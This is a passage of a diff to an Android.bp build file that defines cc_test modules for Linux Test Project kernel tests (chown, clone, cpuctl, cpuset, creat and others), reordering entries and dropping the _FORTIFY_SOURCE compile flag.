+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown02",
+    stem: "chown02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown02_16",
+    stem: "chown02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown03",
+    stem: "chown03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown03_16",
+    stem: "chown03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown05",
+    stem: "chown05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown05_16",
+    stem: "chown05_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown05.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chroot01",
+    stem: "chroot01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chroot/chroot01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chroot02",
+    stem: "chroot02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chroot/chroot02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chroot03",
+    stem: "chroot03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chroot/chroot03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chroot04",
+    stem: "chroot04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chroot/chroot04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clock_getres01",
+    stem: "clock_getres01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clock_getres/clock_getres01.c"],
+    local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "include/old",
     ],
@@ -7001,39 +954,89 @@
 }
 
 cc_test {
-    name: "ltp_sethostname01",
-    stem: "sethostname01",
+    name: "ltp_clock_gettime02",
+    stem: "clock_gettime02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sethostname/sethostname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/timers/clock_gettime/clock_gettime02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clock_gettime03",
+    stem: "clock_gettime03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/clock_gettime/clock_gettime03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clock_nanosleep01",
+    stem: "clock_nanosleep01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_ksm01",
-    stem: "ksm01",
+    name: "ltp_clock_nanosleep02",
+    stem: "clock_nanosleep02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/ksm/ksm01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
+    srcs: ["testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sethostname03",
-    stem: "sethostname03",
+    name: "ltp_clock_nanosleep2_01",
+    stem: "clock_nanosleep2_01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sethostname/sethostname03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clock_settime02",
+    stem: "clock_settime02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/clock_settime/clock_settime02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clock_settime03",
+    stem: "clock_settime03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/clock_settime/clock_settime03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone01",
+    stem: "clone01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -7043,17 +1046,123 @@
     stem: "clone02",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/clone/clone02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_memcg_test_3",
-    stem: "memcg_test_3",
+    name: "ltp_clone03",
+    stem: "clone03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_3.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/clone/clone03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone04",
+    stem: "clone04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone05",
+    stem: "clone05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone06",
+    stem: "clone06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone07",
+    stem: "clone07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone08",
+    stem: "clone08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_clone09",
+    stem: "clone09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/clone/clone09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_close01",
+    stem: "close01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/close/close01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_close02",
+    stem: "close02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/close/close02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_close08",
+    stem: "close08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/close/close08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_connect01",
+    stem: "connect01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/connect/connect01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_copy_file_range01",
+    stem: "copy_file_range01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/copy_file_range/copy_file_range01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cpuacct_task",
+    stem: "cpuacct_task",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuacct/cpuacct_task.c"],
     local_include_dirs: [
         "testcases/kernel/controllers/libcontrollers",
         "include/old",
@@ -7062,51 +1171,193 @@
 }
 
 cc_test {
-    name: "ltp_readlink04",
-    stem: "readlink04",
+    name: "ltp_cpuctl_def_task01",
+    stem: "cpuctl_def_task01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readlink/readlink04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_def_task02",
+    stem: "cpuctl_def_task02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_def_task03",
+    stem: "cpuctl_def_task03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_def_task04",
+    stem: "cpuctl_def_task04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_fj_cpu-hog",
+    stem: "cpuctl_fj_cpu-hog",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_cpu-hog.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cpuctl_fj_simple_echo",
+    stem: "cpuctl_fj_simple_echo",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_simple_echo.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cpuctl_latency_check_task",
+    stem: "cpuctl_latency_check_task",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_latency_check_task.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_latency_test",
+    stem: "cpuctl_latency_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_latency_test.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_test01",
+    stem: "cpuctl_test01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test01.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_test02",
+    stem: "cpuctl_test02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test02.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_test03",
+    stem: "cpuctl_test03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test03.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuctl_test04",
+    stem: "cpuctl_test04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test04.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpufreq_boost",
+    stem: "cpufreq_boost",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_flistxattr03",
-    stem: "flistxattr03",
+    name: "ltp_cpuset01",
+    stem: "cpuset01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flistxattr01",
-    stem: "flistxattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchdir01",
-    stem: "fchdir01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchdir/fchdir01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ksm03",
-    stem: "ksm03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/ksm/ksm03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/mem/cpuset/cpuset01.c"],
     local_include_dirs: [
         "testcases/kernel/mem/include",
         "testcases/kernel/include",
@@ -7120,172 +1371,172 @@
 }
 
 cc_test {
-    name: "ltp_fchdir03",
-    stem: "fchdir03",
+    name: "ltp_cpuset_cpu_hog",
+    stem: "cpuset_cpu_hog",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchdir/fchdir03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_cpu_hog.c"],
     local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchdir02",
-    stem: "fchdir02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchdir/fchdir02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_munlockall01",
-    stem: "munlockall01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munlockall/munlockall01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_read01",
-    stem: "read01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/read/read01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_munlockall02",
-    stem: "munlockall02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munlockall/munlockall02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl25",
-    stem: "fcntl25",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl25.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open07",
-    stem: "open07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fanotify05",
-    stem: "fanotify05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl24",
-    stem: "fcntl24",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl24.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fanotify01",
-    stem: "fanotify01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ksm04",
-    stem: "ksm04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/ksm/ksm04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
     static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
+        "libltp_cpu_set",
+        "libltp_controllers",
         "libltp_ltp",
     ],
 }
 
 cc_test {
-    name: "ltp_signalfd4_01",
-    stem: "signalfd4_01",
+    name: "ltp_cpuset_list_compute",
+    stem: "cpuset_list_compute",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signalfd4/signalfd4_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_list_compute.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: [
+        "libltp_cpu_set",
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuset_mem_hog",
+    stem: "cpuset_mem_hog",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_mem_hog.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: [
+        "libltp_cpu_set",
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuset_memory_pressure",
+    stem: "cpuset_memory_pressure",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: [
+        "libltp_cpu_set",
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuset_sched_domains_check",
+    stem: "cpuset_sched_domains_check",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_sched_domains_check.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: [
+        "libltp_cpu_set",
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_cpuset_syscall_test",
+    stem: "cpuset_syscall_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: [
+        "libltp_cpu_set",
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_crash01",
+    stem: "crash01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/crash/crash01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_signalfd4_02",
-    stem: "signalfd4_02",
+    name: "ltp_crash02",
+    stem: "crash02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signalfd4/signalfd4_02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/misc/crash/crash02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_genj0",
-    stem: "genj0",
+    name: "ltp_creat01",
+    stem: "creat01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/genj0.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/creat/creat01.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_genj1",
-    stem: "genj1",
+    name: "ltp_creat03",
+    stem: "creat03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/genj1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/creat/creat03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_creat04",
+    stem: "creat04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/creat/creat04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_creat05",
+    stem: "creat05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/creat/creat05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_creat07",
+    stem: "creat07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/creat/creat07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_creat07_child",
+    stem: "creat07_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/creat/creat07_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_creat08",
+    stem: "creat08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/creat/creat08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_create-files",
+    stem: "create-files",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/fs-bench/create-files.c",
+        "testcases/kernel/fs/fs-bench/boxmuler.c",
+    ],
     local_include_dirs: ["include/old"],
 }
 
@@ -7297,2980 +1548,8 @@
     cflags: [
         "-D_FILE_OFFSET_BITS=64",
         "-D_LARGEFILE_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_genfloor",
-    stem: "genfloor",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genfloor.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_fcntl20",
-    stem: "fcntl20",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl20.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_hugemmap04",
-    stem: "hugemmap04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/mem/hugetlb/lib",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_hugetlb",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_timerfd_gettime01",
-    stem: "timerfd_gettime01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timerfd/timerfd_gettime01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_hugemmap06",
-    stem: "hugemmap06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/mem/hugetlb/lib",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_hugetlb",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_tomoyo_filesystem_test",
-    stem: "tomoyo_filesystem_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_filesystem_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid10",
-    stem: "waitpid10",
-    defaults: ["ltp_test_defaults"],
